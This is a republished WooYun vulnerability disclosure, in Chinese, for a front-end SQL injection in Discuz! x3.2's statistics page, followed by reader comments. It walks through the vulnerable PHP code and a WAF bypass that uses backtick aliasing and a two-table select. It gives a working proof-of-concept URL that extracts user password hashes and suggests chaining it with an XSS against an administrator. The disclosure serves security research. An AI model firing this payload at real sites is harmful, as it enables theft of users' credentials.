Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

admin 2015年6月9日01:41:58评论5,972 views字数 240阅读0分48秒阅读模式
摘要

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-10-29: 细节向核心白帽子及相关领域专家公开
2014-11-08: 细节向普通白帽子公开
2014-11-18: 细节向实习白帽子公开
2014-12-03: 细节向公众公开

漏洞概要 关注数(200) 关注此漏洞

缺陷编号: WooYun-2014-74970

漏洞标题: Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

相关厂商: Discuz!

漏洞作者: phith0nDiscuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

提交时间: 2014-09-04 10:15

公开时间: 2014-12-03 10:16

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核 php源码分析 白盒测试

52人收藏


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-29: 细节向核心白帽子及相关领域专家公开
2014-11-08: 细节向普通白帽子公开
2014-11-18: 细节向实习白帽子公开
2014-12-03: 细节向公众公开

简要描述:

前台非盲注,只需要配合一个xss,就能消除鸡肋了。
信pandas,得永生,紧抱doggy哥大腿!

详细说明:

/source/include/misc/misc_stat.php 46行:

code 区域
if(!empty($_GET['xml'])) {
$xaxis = '';
$graph = array();
$count = 1;
$begin = dgmdate($beginunixstr, 'Ymd');
$end = dgmdate($endunixstr, 'Ymd');
$field = '*';
if(!empty($_GET['merge'])) {
if(empty($_GET['types'])) {
$_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']);
}
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
$type = 'statistic';
}
foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) {
$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
if($type == 'all') {
foreach ($cols as $ck => $cvs) {
if($ck == 'login') {
$graph['login'] .= "<value xid='$count'>$value
此处为隐藏的内容
注册登录后,方可查看
</value>";
$graph['register'] .= "<value xid='$count'>$value[register]</value>";
} else {
$num = 0;
foreach ($cvs as $cvk) {
$num = $value[$cvk] + $num;
}
$graph[$ck] .= "<value xid='$count'>".$num."</value>";
}
}
} else {
//var_dump($value);exit;
if(empty($_GET['types']) || !empty($_GET['merge'])) {
$graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
} else {
foreach($_GET['types'] as $t) {
$graph[$t] .= "<value xid='$count'>".$value[$t]."</value>";
}
}
}
$count++;
}
$xml = '';
$xml .= '<'."?xml version=/"1.0/" encoding=/"utf-8/"?>";
$xml .= '<chart><xaxis>';
$xml .= $xaxis;
$xml .= "</xaxis><graphs>";
$count = 0;
foreach ($graph as $key => $value) {
$xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>";
$xml .= $value;
$xml .= '</graph>';
$count++;
}
$xml .= '</graphs></chart>';

@header("Expires: -1");
@header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
@header("Content-type: application/xml; charset=utf-8");
echo $xml;
exit();
}

见这一句:

code 区域
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';

将$_GET['type']数组直接用`+`分割,并没有过滤。

因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。

现在遇到另一个问题,怎么绕过discuz3.2的WAF?

不绕过也没法出数据。

我们先看看输出点在何处:

code 区域
http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=x

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

也就是说我们可以控制的部分有很多。

且不看全局防注入源码,黑盒试一下我发现一旦出现'、(就会拦截,而且注释符(#、--)也会拦截。

括号不能有,就特别拙计,因为很多盲注需要括号,子查询也需要括号,函数也需要括号,这里都不能用了。

code 区域
SELECT daytime,`aaa` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime

我们再看上述sql语句,发现我们可控的部分前面,还有个daytime。这就愁坏我了,因为我要查询的表是用户表,而用户表根本没这个字段。

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

执行会提示Unknown column 'daytime' in 'field list'。

所以,我们可以利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来:

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

大家可以看到,已经不报错了。因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。

那么,有的同学再问,sql语句后半部分

code 区域
` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime

没有注释符怎么处理?

这里有个巧合,在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。

所以,先构造一个url:

code 区域
http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

可以看到已经出数据了。但发现出来的数据只有4位。

原因是,在源码中使用了substr取了daytime的第4到8位:

code 区域
$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";

我们看下有没其他的输出点。于是找到了一个:

code 区域
if(empty($_GET['types']) || !empty($_GET['merge'])) {
$graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
}

这个if语句,其中$type为statistic,而将$value[$type]的值输出了。所以,我只需将password取个别名叫statistic,就能输出password了。

那么,最后的poc就是:

code 区域
http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as

本地测试效果:

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

这个漏洞鸡肋之处在于,虽然它是一个前台的注入(无需登录后台),但是却需要管理员权限。

所以,利用方法就是找到一个前台xss,管理员(前台管理)访问以后用javascript获得访问到的页面内容,即可获得注入出的信息。使鸡肋漏洞变得不再鸡肋。

或者利用某些浏览器的跨域漏洞,也能注入。

漏洞证明:

code 区域
http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as

Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF)

修复方案:

过滤。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-04 10:29

厂商回复:

感谢您提出的问题,我们会尽快处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-04 10:17 | 切克脑 ( 实习白帽子 | Rank:31 漏洞数:9 | z..)

    3

    前排广告出租

  2. 2014-09-04 10:29 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    1

    前排围观

  3. 2014-09-04 10:30 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)

    1

    要结合XSS估计猜到什么点!膜拜洞主!

  4. 2014-09-04 10:33 | pandas ( 普通白帽子 | Rank:730 漏洞数:84 | 国家特级保护动物)

    1

    草,信哥得永生?

  5. 2014-09-04 10:40 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)

    0

    还在前排。。。。

  6. 2014-09-04 10:49 | do9gy ( 实习白帽子 | Rank:78 漏洞数:17 | Dog loves God。)

    0

    doggy哥来了

  7. 2014-09-04 14:55 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    0

    前排围观新的DZ漏洞

  8. 2014-09-04 18:11 | cold ( 路人 | Rank:2 漏洞数:2 | 生命不息,折腾不止。)

    0

    前排围观新的DZ漏洞

  9. 2014-09-04 18:44 | kav ( 路人 | Rank:16 漏洞数:8 )

    0

    前排围观新的DZ漏洞

  10. 2014-09-04 19:16 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    0

    前排围观新的DZ漏洞

  11. 2014-09-04 20:04 | phith0n Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    1

    @pandas 去,不是你,是我狗哥~~

  12. 2014-09-05 08:05 | magerx ( 普通白帽子 | Rank:261 漏洞数:46 | 别说话。)

    1

    mark

  13. 2014-09-05 09:34 | 落月 ( 路人 | Rank:0 漏洞数:2 | 落月,关注网络安全;关注黑帽劫持;)

    0

    dz也这么不安全了。

  14. 2014-09-05 23:03 | 西西 ( 普通白帽子 | Rank:1074 漏洞数:281 | 工欲善其事,必先利其器。)

    2

    前排围观新的DZ漏洞

  15. 2014-09-07 23:31 | 屎蛋 ( 路人 | Rank:8 漏洞数:2 | boom)

    0

  16. 2014-09-08 08:30 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享!)

    0

    你是DZ派来的救兵吗?

  17. 2014-09-09 16:11 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    1

    http://www.discuz.net/thread-3598151-1-1.html 官方又在偷偷更新不写日志?

  18. 2014-09-09 23:33 | Suner ( 路人 | Rank:21 漏洞数:2 | 再读小学生)

    0

    @Hmily 一有人提交DZ相关的,H大就会出现...

  19. 2014-09-10 22:12 | Mr.Lonely ( 路人 | Rank:0 漏洞数:1 | 努力成为一个有用的人。)

    0

    前排围观新的DZ漏洞

  20. 2014-09-12 22:51 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    0

    卧槽三个$$$ 最近dz好不安全啊

  21. 2014-09-13 22:45 | MckBug ( 路人 | Rank:2 漏洞数:3 | 无影响厂商忽略)

    0

    前排围观新的DZ漏洞

  22. 2014-09-24 21:06 | Matt Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    0

    只能爆最后一个用户么 不能指定ID啊

  23. 2014-10-19 13:37 | Matt Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    0

    @Matt 你懂个jb

  24. 2014-10-19 13:38 | phith0n Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    @Matt ……>.<

  25. 2014-10-24 16:05 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    0

    哥,我试了下,为啥我这反引号不自动闭合啊?用你的URL测试,还是提示SQL异常啊,我的mysql是5.6.21版本。 linux平台。

  26. 2014-10-24 16:08 | phith0n Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    @nzk1912 版本高了就不行了

  27. 2014-10-24 16:14 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    0

    @phith0n mysql还是dz?我看了dz的修复方法,我已经把PHP代码改回和你的一样了~

  28. 2014-10-24 16:17 | 风花雪月 ( 实习白帽子 | Rank:67 漏洞数:49 | []+[]|[]-[][][][][]%[][]|[]/[]%[][]|[]/[...)

    0

    只限于可查看数据统计的用户权限以上,感觉有种蛋蛋的忧伤

  29. 2014-10-24 16:19 | phith0n Discuz x3.2前台GET型SQL注入漏洞(绕过全局WAF) ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    @nzk1912 mysql版本不能太高

  30. 2014-10-24 16:24 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    0

    @phith0n 额~好吧~貌似x3.2的洞不多啊~不知道是代码质量好~还是找洞没动力啊

  31. 2014-10-24 16:30 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)

    0

    @phith0n 突然发现,这个是 $$$ 啊~告诉我下,大约多少奖金啊?(可私信),我膜拜下

  32. 2014-12-03 23:15 | Murk Emissary ( 实习白帽子 | Rank:74 漏洞数:14 | 低调做人 低调行事)

    1

    @nzk1912 一万多奖金吧

  33. 2014-12-04 15:07 | 落月 ( 路人 | Rank:0 漏洞数:2 | 落月,关注网络安全;关注黑帽劫持;)

    1

    是够鸡肋的,前台管理员还真不好找、

  34. 2015-06-06 10:00 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    0

    @phith0n 不能指定id。。怎么破 QAQ

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin